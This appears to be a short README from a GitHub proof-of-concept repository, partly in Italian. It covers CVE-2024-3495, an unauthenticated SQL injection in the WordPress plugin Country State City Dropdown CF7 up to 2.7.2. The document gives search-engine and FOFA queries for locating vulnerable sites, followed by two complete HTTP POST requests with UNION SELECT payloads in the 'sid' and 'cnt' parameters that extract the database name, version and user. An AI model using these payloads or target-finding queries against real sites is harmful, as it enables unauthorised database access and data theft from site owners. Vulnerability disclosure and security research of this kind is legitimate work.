truonghuuphuc/cve-2024-3495-pocCVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - SQL Injection non autenticata
CVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - SQL Injection non autenticata
Descrizione
Il plugin Country State City Dropdown CF7 per WordPress è vulnerabile a SQL Injection tramite i parametri ‘cnt’ e 'sid' nelle versioni fino alla 2.7.2 inclusa, a causa di un escaping insufficiente del parametro fornito dall'utente e della mancanza di una preparazione adeguata della query SQL esistente
inurl:"/wp-content/plugins/country-state-city-auto-dropdown/"
https://x.com/fofabot/status/1793477848428364155
FOFA Query: body="/wp-content/plugins/country-state-city-auto-dropdown/"
https://en.fofa.info/result?qbase64=Ym9keT0iL3dwLWNvbnRlbnQvcGx1Z2lucy9jb3VudHJ5LXN0YXRlLWNpdHktYXV0by1kcm9wZG93bi8i
File: includes\ajax-actions.php
Nonce trovato
PoC:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
action=tc_csca_get_states&nonce_ajax={{nonce}}&cnt=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
